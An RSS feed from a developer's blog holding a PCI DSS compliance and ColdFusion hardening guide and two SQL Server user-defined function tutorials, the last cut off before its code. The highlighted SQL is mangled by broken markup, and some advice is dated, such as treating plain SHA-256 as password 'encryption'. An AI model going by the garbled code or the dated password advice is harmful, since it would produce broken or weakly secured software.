<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Simon Whatley &#187; database server</title>
	<atom:link href="http://www.simonwhatley.co.uk/tag/database-server/feed" rel="self" type="application/rss+xml" />
	<link>http://www.simonwhatley.co.uk</link>
	<description>The opposite of every great idea is another great idea</description>
	<lastBuildDate>Wed, 02 Nov 2011 09:28:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Secure Your Application &#8211; PCI DSS Specifications</title>
		<link>http://www.simonwhatley.co.uk/secure-your-application-pci-dss-specifications</link>
		<comments>http://www.simonwhatley.co.uk/secure-your-application-pci-dss-specifications#comments</comments>
		<pubDate>Mon, 26 Jan 2009 11:19:37 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Adobe ColdFusion]]></category>
		<category><![CDATA[American Express]]></category>
		<category><![CDATA[anti-virus software]]></category>
		<category><![CDATA[Applications]]></category>
		<category><![CDATA[architecture]]></category>
		<category><![CDATA[Authentication]]></category>
		<category><![CDATA[BlueDragon]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[ColdFusion Administrator]]></category>
		<category><![CDATA[company processing]]></category>
		<category><![CDATA[compliance]]></category>
		<category><![CDATA[control measures]]></category>
		<category><![CDATA[Data Security Standard]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[Discover Financial Services]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JCB International]]></category>
		<category><![CDATA[Manitoba]]></category>
		<category><![CDATA[Mastercard Worldwide]]></category>
		<category><![CDATA[Payment Card Industry]]></category>
		<category><![CDATA[Payment Card Industry Security Standards Council]]></category>
		<category><![CDATA[payment card processing]]></category>
		<category><![CDATA[Payment Processors]]></category>
		<category><![CDATA[PCI DSS]]></category>
		<category><![CDATA[public networks]]></category>
		<category><![CDATA[Railo]]></category>
		<category><![CDATA[raw processing]]></category>
		<category><![CDATA[RDBMS]]></category>
		<category><![CDATA[regulations]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[secure systems]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[Security Standards Council]]></category>
		<category><![CDATA[security systems]]></category>
		<category><![CDATA[Server Side]]></category>
		<category><![CDATA[software developers]]></category>
		<category><![CDATA[software releases]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[SSC]]></category>
		<category><![CDATA[the Council]]></category>
		<category><![CDATA[Visa]]></category>
		<category><![CDATA[Visa Inc .]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[web application developers]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[web code]]></category>
		<category><![CDATA[Web Servers]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=1785</guid>
		<description><![CDATA[PCI DSS stands for Payment Card Industry Data Security Standard, and is a worldwide security standard assembled by the Payment Card Industry Security Standards Council (PCI SSC). The PCI security standards are technical and operational requirements that were created to help organizations that process card payments prevent credit card fraud, hacking and various other security vulnerabilities and threats. The standards apply to all organizations that store, process or transmit cardholder data – with guidance for software developers and manufacturers of applications and devices used in those transactions. A company processing, storing, or transmitting cardholder data must be PCI DSS compliant.]]></description>
			<content:encoded><![CDATA[<p>PCI DSS stands for <a href="https://www.pcisecuritystandards.org/" title="Payment Card Industry Data Security Standard website" target="_blank" rel="nofollow">Payment Card Industry Data Security Standard</a>, and is a worldwide security standard assembled by the Payment Card Industry Security Standards Council (<abbr title="Payment Card Industry">PCI</abbr> <abbr title="Security Standards Council">SSC</abbr>). The <abbr title="Payment Card Industry">PCI</abbr> security standards are technical and operational requirements that were created to help organizations that process card payments prevent credit card fraud, hacking and various other security vulnerabilities and threats. The standards apply to all organizations that store, process or transmit cardholder data – with guidance for software developers and manufacturers of applications and devices used in those transactions. A company processing, storing, or transmitting cardholder data must be <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standard">DSS</abbr> compliant.</p>
<p><a href="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2009/01/payment-card-data.png"><img src="http://www.simonwhatley.co.uk/blog/wp-content/uploads/2009/01/payment-card-data.png" alt="Types of Data on a Payment Card" title="Types of Data on a Payment Card" width="600" height="255" class="aligncenter size-full wp-image-1815" /></a></p>
<p>The <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Security Standards Council">SSC</abbr> (<q>Council</q>) is responsible for managing the security standards, while compliance with the <abbr title="Payment Card Industry">PCI</abbr> set of standards is enforced by the founding members of the Council: <a href="http://www.americanexpress.com/datasecurity" title="American Express" target="_blank" rel="nofollow">American Express</a>, <a href="http://www.discovernetwork.com/fraudsecurity/disc.html" title="Discover Financial Services" target="_blank" rel="nofollow">Discover Financial Services</a>, <a href="http://www.jcb-global.com/english/pci/index.html" title="JCB International" target="_blank" rel="nofollow">JCB International</a>, <a href="http://www.mastercard.com/sdp" title="MasterCard Worldwide" target="_blank" rel="nofollow">MasterCard Worldwide</a> and <a href="http://www.visa.com/cisp" title="Visa" target="_blank" rel="nofollow">Visa Inc</a>. Non-compliant companies who maintain a relationship with one or more of the card brands, either directly or through an acquirer risk losing their ability to process credit card payments and being audited and/or fined.</p>
<p>All in-scope companies must validate their compliance annually. This validation can be conducted by Qualified Security Assessors, i.e. companies that have completed a <a href="https://www.pcisecuritystandards.org/qsa_asv/become_qsa.shtml" title="PCI: Becoming a Qualified Security Assessor" target="_blank" rel="nofollow">three-step certification process</a> by the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Security Standards Council">SSC</abbr> which recognises them as being qualified to assess compliance to the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standard">DSS</abbr> standard. However, smaller companies have the option to use a <a href="https://www.pcisecuritystandards.org/saq/index.shtml" title="PCI Self-Assessment Questionnaire" target="_blank" rel="nofollow">Self-Assessment Questionnaire</a>. Whether this questionnaire needs to be validated by a <abbr title="Qualified Security Assessors">QSA</abbr> depends on the requirements of the card brands in that merchant&#8217;s region.</p>
<p>The current version of the standard specifies 12 requirements for compliance, organised into 6 logically related groups, which are called &#8220;control objectives.&#8221;</p>
<ol>
<li>Build and Maintain a Secure Network
<ul>
<li>Requirement 1: Install and maintain a firewall configuration to protect cardholder data</li>
<li>Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters</li>
</ul>
</li>
<li>Protect Cardholder Data
<ul>
<li>Requirement 3: Protect stored cardholder data</li>
<li>Requirement 4: Encrypt transmission of cardholder data across open, public networks</li>
</ul>
</li>
<li>Maintain a Vulnerability Management Program
<ul>
<li>Requirement 5: Use and regularly update anti-virus software</li>
<li>Requirement 6: Develop and maintain secure systems and applications</li>
</ul>
</li>
<li>Implement Strong Access Control Measures
<ul>
<li>Requirement 7: Restrict access to cardholder data by business need-to-know</li>
<li>Requirement 8: Assign a unique ID to each person with computer access</li>
<li>Requirement 9: Restrict physical access to cardholder data</li>
</ul>
</li>
<li>Regularly Monitor and Test Networks
<ul>
<li>Requirement 10: Track and monitor all access to network resources and cardholder data</li>
<li>Requirement 11: Regularly test security systems and processes</li>
</ul>
</li>
<li>Maintain an Information Security Policy
<ul>
<li>Requirement 12: Maintain a policy that addresses information security</li>
</ul>
</li>
</ol>
<p>Compliance with these requirements can be summarized into 3 main stages:</p>
<ul>
<li>Collecting and storing: Secure collection and tamper-proof storage of all log data so that it is available for analysis.</li>
<li>Reporting: Being able to prove compliance on the spot if audited and present evidence that controls are in place for protecting data.</li>
<li>Monitoring and alerting: Have systems in place such as auto-alerting, to help administrators constantly monitor access and usage of data. Administrators are warned of problems immediately and can rapidly address them. These systems should also extend to the log data itself –- there must be proof that log data is being collected and stored.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>What does this actually mean for web application developers?</h3>
<p>It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time. If you follow the guidelines below, you will go along way to securing you application in line with the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> regulations. Many of the measures apply to general application security, but since <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> is all about security, they are worth mentioning.</p>
<p>Server-level Security:</p>
<ul>
<li>Separate web- and database-servers on to different physical machines.</li>
<li>Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.</li>
<li>Keep servers up-to-date with the latest patches and software releases.</li>
<li>Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.</li>
<li>Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous &#8216;noise&#8217;.</li>
<li>Secure the database server behind a firewall.</li>
</ul>
<p>Application-level Security:</p>
<ul>
<li>Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.</li>
<li>Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.</li>
<li>Revoke privileges in the ColdFusion datasource definition to prevent the <abbr title="Structured Query Language">SQL</abbr> commands <code>CREATE</code>, <code>DROP</code>, <code>GRANT</code>, <code>REVOKE</code> and <code>ALTER</code>.</li>
<li>General settings in the ColdFusion Administrator:
<ul>
<li>Check the <em>Disable access to internal ColdFusion Java components</em> option.</li>
<li>Check the <em>Enable Global Script Protection</em> option.</li>
<li>Add a <em>Missing Template Handler</em>.</li>
<li>Add a <em>Site-wide Error Handler</em>.</li>
<li>Reduce the <em>Maximum size of post data</em> from 100<abbr title="megabytes">MB</abbr>.</li>
<li>Enable <em>Timeout Requests</em>, and set to 60 seconds or less.</li>
<li>Disable <em>Robust Exception Handling</em> on production servers.</li>
</ul>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>Web Application-level Security:</p>
<ul>
<li>Use secure HTTP to transfer data and/or when logged into &#8216;administration&#8217; secutions of your web application.</li>
<li>Timeout sessions after 15 minutes and on browser close.</li>
<li>Provide multi-level login processes. For example, lock the application after 3 failed attempts for a period of 10 minutes.</li>
<li>Do not identify whether the username or password are incorrect, simply notify the user that their login failed and that they must try again.</li>
<li>Encrypt passwords stored in the database with a standard such as <a href="http://en.wikipedia.org/wiki/SHA_hash_functions" title="Wikipedia: SHA cryptographic has function" target="_blank" rel="nofollow">SHA-256</a> or &#8216;stronger&#8217;.</li>
<li>Use <a href="http://en.wikipedia.org/wiki/Captcha" title="Wikipedia: CAPTCHA" target="_blank" rel="nofollow">CAPTCHA</a>s (textual and aural) to prevent automated robots hacking into your application.</li>
<li>Run regular penetration tests on your application to identify potential problems.</li>
<li>Encrypt credit card information held in the database or other storage mechanism. Only store credit card data in line with the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> regulations.</li>
</ul>
<p>Code-level Security:</p>
<ul>
<li>Application.cfc &#8211; Set the <code>scriptProtect</code> Application variable to <code>true</code> to enable application-wide cross-site script protection.
</li>
<li>CFQueryParam &#8211; This tag, importantly, verifies the data type of a query parameter and, for <abbr title="Relational Database Management Systems">RDBMS</abbr>s that support bind variables, enables ColdFusion to use bind variables in the <acronym title="Structured Query Language">SQL</acronym> statement. Bind variable usage enhances performance when executing a <code>cfquery</code> statement multiple times. There are limitations to the use of the <code>cfqueryparam</code> tag. In ColdFusion 7 for example, you cannot use them in queries using the <code>cachedWithin</code> attribute. Similarly, they cannot be used in <code>ORDER BY</code> clauses, although the use of conditional logic should resolve the need for order by variables.
</li>
<li>Functions &#8211; As a rule of thumb, validate <em>all</em> the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the <code>isValid()</code> function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as <code>isArray()</code>, <code>isBinary()</code>, <code>isBoolean()</code>, <code>isDate()</code>, <code>isNumeric()</code> and <code>isSimpleValue()</code> etc.
</li>
<li>Stored Procedures &#8211; I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Conclusion</h3>
<p>The goal of the <abbr title="Payment Card Industry">PCI</abbr> Data Security Standard is to protect cardholder data that is processed, stored or transmitted by merchants. The security controls and processes required by <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> are vital for protecting cardholder account data, including the <abbr title="primary account number">PAN</abbr> &#8211; the primary account number printed on the front of a payment card. Merchants and any other service providers involved with payment card processing must never store sensitive authentication data after authorisation. This includes sensitive data that is printed on a card, or stored on a card’s magnetic stripe or chip &#8211; and personal identification numbers entered by the cardholder.</p>
<p>By following the points made above, you will go a long way to meeting the <abbr title="Payment Card Industry">PCI</abbr> <abbr title="Data Security Standards">DSS</abbr> guidelines, whilst also securing your infrastructure and applications in a more general sense.</p>
<p><strong>Caveat:</strong> The views and comments written in this article are provided as a guideline. I hold no responsibility for the security of your applications and data based upon the information provided.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/secure-your-application-pci-dss-specifications/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL User-Defined Function: ListToTable</title>
		<link>http://www.simonwhatley.co.uk/sql-user-defined-function-listtotable</link>
		<comments>http://www.simonwhatley.co.uk/sql-user-defined-function-listtotable#comments</comments>
		<pubDate>Mon, 22 Sep 2008 10:58:30 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[array]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[extend]]></category>
		<category><![CDATA[function]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sub-routine]]></category>
		<category><![CDATA[subroutine]]></category>
		<category><![CDATA[t-sql]]></category>
		<category><![CDATA[tabular]]></category>
		<category><![CDATA[UDF]]></category>
		<category><![CDATA[user defined function]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=426</guid>
		<description><![CDATA[A common need in SQL is the ability to iterate over a list as if it were an array. In SQL it is not possible to declare arrays, unlike other programming languages such as ColdFusion, ActionScript and Java. Fortunately, there is a way around this problem: use a User-Defined Functions (UDFs) to create a tabular version of the data. Arrays are, after all, essentially tabular data (at their simplest, one dimension level).]]></description>
			<content:encoded><![CDATA[<p>A common need in <abbr title="Structured Query Language">SQL</abbr> is the ability to iterate over a list as if it were an <a href="http://en.wikipedia.org/wiki/Array" title="Wikipedia: Array" target="_blank" rel="nofollow">array</a>. In <abbr title="Structured Query Language">SQL</abbr> it is not possible to declare arrays, unlike other programming languages such as ColdFusion, ActionScript and Java. Fortunately, there is a way around this problem: use a <a href="http://en.wikipedia.org/wiki/User-defined_function" title="Wikipedia: User-Defined Functions" target="_blank" rel="nofollow">User-Defined Functions</a> (<abbr title="User Defined Functions">UDF</abbr>s) to create a tabular version of the data. Arrays are, after all, essentially tabular data (at their simplest, one dimension level).</p>
<p>A User-Defined Function, is a function provided by the user of a program or environment. In <abbr title="Structured Query Language">SQL</abbr> databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in <abbr title="Structured Query Language">SQL</abbr> statements.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>The Function Code</h3>
<p>Below is the complete function definition:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>CREATE</span> <<span style="color: #0000ff;">|</span>/1/>FUNCTION</span> dbo.udf_ListToTable
<span style="color: #66cc66;">&#40;</span>
	@LIST 		<<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">4000</span><span style="color: #66cc66;">&#41;</span>,
	@DELIMITER 	<<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">10</span><span style="color: #66cc66;">&#41;</span> <span style="color: #0000ff;">=</span> <span style="color: #ff0000;">','</span>
<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>RETURNS</span> @ListTable <<span style="color: #0000ff;">|</span>/1/>TABLE</span>
<span style="color: #66cc66;">&#40;</span>
	Item <<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">200</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>AS</span>
<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span> @LenDel 	<<span style="color: #0000ff;">|</span>/2/>INT</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span> @Pos 		<<span style="color: #0000ff;">|</span>/2/>INT</span>
	<<span style="color: #0000ff;">|</span>/1/>DECLARE</span> @Item 		<<span style="color: #0000ff;">|</span>/2/>NVARCHAR</span><span style="color: #66cc66;">&#40;</span><<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">200</span><span style="color: #66cc66;">&#41;</span>
&nbsp;
	<span style="color: #808080;">--Get the length of the delimiter, use hack to get around LEN(' ') = 0 issue</span>
	<<span style="color: #0000ff;">|</span>/1/>SET</span> @LenDel <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span>@DELIMITER <span style="color: #0000ff;">+</span> <span style="color: #ff0000;">'|'</span><span style="color: #66cc66;">&#41;</span> <span style="color: #0000ff;">-</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>SET</span> @Pos <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">CHARINDEX</span><span style="color: #66cc66;">&#40;</span>@DELIMITER, @LIST<span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>WHILE</span> @Pos <span style="color: #66cc66;">&gt;</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
	<<span style="color: #0000ff;">|</span>/1/>BEGIN</span>
		<span style="color: #808080;">--Get the item</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span> @Item <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">SUBSTRING</span><span style="color: #66cc66;">&#40;</span>@LIST, <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>, @Pos-<<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #808080;">--Add it to the table (if not empty string)</span>
		<<span style="color: #0000ff;">|</span>/1/>IF</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@Item<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&gt;</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
			<<span style="color: #0000ff;">|</span>/1/>INSERT</span> @ListTable <span style="color: #66cc66;">&#40;</span>Item<span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>VALUES</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@Item<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #808080;">--Remove the item from the list</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span> @LIST <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">STUFF</span><span style="color: #66cc66;">&#40;</span>@LIST, <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>, @Pos+@LenDel-<<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">1</span>, <span style="color: #ff0000;">''</span><span style="color: #66cc66;">&#41;</span>
		<span style="color: #808080;">--Get the position of the next delimiter</span>
		<<span style="color: #0000ff;">|</span>/1/>SET</span> @Pos <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">CHARINDEX</span><span style="color: #66cc66;">&#40;</span>@DELIMITER, @LIST<span style="color: #66cc66;">&#41;</span>
	<<span style="color: #0000ff;">|</span>/1/>END</span>
&nbsp;
	<span style="color: #808080;">--Add the last item to the table (if not empty string)</span>
	<<span style="color: #0000ff;">|</span>/1/>IF</span> <span style="color: #ff00ff;">LEN</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@LIST<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&gt;</span> <<span style="color: #0000ff;">|</span> style<span style="color: #66cc66;">=</span>"color: #cc66cc;">0</span>
		<<span style="color: #0000ff;">|</span>/1/>INSERT</span> @ListTable <span style="color: #66cc66;">&#40;</span>Item<span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>VALUES</span> <span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">LTRIM</span><span style="color: #66cc66;">&#40;</span>@LIST<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
&nbsp;
	<<span style="color: #0000ff;">|</span>/1/>RETURN</span>
<<span style="color: #0000ff;">|</span>/1/>END</span>
<<span style="color: #0000ff;">|</span>/1/>GO</span></pre></div></div>

<p>The function simply loops over the list passed into the function. Each list item is then inserted into the variable named <code>@ListTable</code>, which is of type <code>TABLE</code>. The <code>@ListTable</code> variable is then returned out of the function and can be handled the same as any other table.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>The Function In Use</h3>
<p>A simple demonstration is as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><<span style="color: #0000ff;">|</span>/1/>INSERT</span> <<span style="color: #0000ff;">|</span>/1/>INTO</span> tableName <span style="color: #66cc66;">&#40;</span>column1, column2, column3, column4<span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>SELECT</span> @variable1, @variable2, myTable.item, <span style="color: #ff00ff;">GETDATE</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
<<span style="color: #0000ff;">|</span>/1/>FROM</span> dbo.udf_ListToTable<span style="color: #66cc66;">&#40;</span>@list,<span style="color: #ff0000;">','</span><span style="color: #66cc66;">&#41;</span> <<span style="color: #0000ff;">|</span>/1/>AS</span> myTable</pre></div></div>

<p>In this example, we insert the same information (<code>@variable1</code>, <code>@variable2</code>) for every instance of an item found in <code>myTable</code>.</p>
<p>This is useful, for example, if you want to apply a setting to a group of users. The group of users could be contained in a list that needs to be parsed as a table, whilst the individual setting details are contained in the other variables.</p>
<h3>Download the Code</h3>
<p><a href="/examples/sql/functions/udf_ListToTable.txt" title="Download the code">Download the code</a>, rename the file to .sql and run on your database instance. You will then be able to reference the function in your Stored Procedures.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/sql-user-defined-function-listtotable/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL User-Defined Function: ReplaceChars</title>
		<link>http://www.simonwhatley.co.uk/sql-user-defined-function-replacechars</link>
		<comments>http://www.simonwhatley.co.uk/sql-user-defined-function-replacechars#comments</comments>
		<pubDate>Fri, 19 Sep 2008 14:46:13 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database server]]></category>
		<category><![CDATA[extend]]></category>
		<category><![CDATA[fairly straight forward]]></category>
		<category><![CDATA[function]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[sub-routine]]></category>
		<category><![CDATA[subroutine]]></category>
		<category><![CDATA[t-sql]]></category>
		<category><![CDATA[UDF]]></category>
		<category><![CDATA[user defined function]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=425</guid>
		<description><![CDATA[The SQL Replace function enables us to look for a certain character phrase in a string and replace it with another character phrase. The updated string is then returned by the function.]]></description>
			<content:encoded><![CDATA[<p>The <abbr title="Structured Query Language">SQL</abbr> <code>REPLACE</code> function enables us to look for a certain character phrase in a string and replace it with another character phrase. The updated string is then returned by the function.</p>
<p>The syntax for this string function is the same for <abbr title="Structured Query Language">SQL</abbr> Server, Oracle and Microsoft Access. The syntax is as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringToLookIn, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>The syntax is fairly straight forward, the <em>stringToMatch</em> parameter is the character phrase that we want to replace, the <em>replacementsString</em> is the character phrase that will replace any occurence of the stringToMatch parameter. If the stringToMatch phrase occurs more than once in the string, then all instances of the phrase will be replaced with the replacement string. If no matches were found then the string is returned unaltered.</p>
<p>If we want to match multiple items, we need to nest the <code>REPLACE</code> function:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringToLookIn, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span>, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>or set the replaced string into a new variable multiple times:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;">stringReturned <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringToLookIn, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span>
stringReturned <span style="color: #0000ff;">=</span> <span style="color: #ff00ff;">REPLACE</span><span style="color: #66cc66;">&#40;</span>stringReturned, stringToMatch, replacementsString<span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>This is far from ideal, especially the more strings there are to be matched. This is where <a href="http://en.wikipedia.org/wiki/User-defined_function" title="Wikipedia: User-Defined Functions" target="_blank" rel="nofollow">User-Defined Functions</a> (<abbr title="User Defined Functions">UDF</abbr>s) can provide the answer.</p>
<p>A User-Defined Function, is a function provided by the user of a program or environment. In <abbr title="Structured Query Language">SQL</abbr> databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in <abbr title="Structured Query Language">SQL</abbr> statements.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>The Function Code</h3>
<p>Below is the complete function definition:</p>

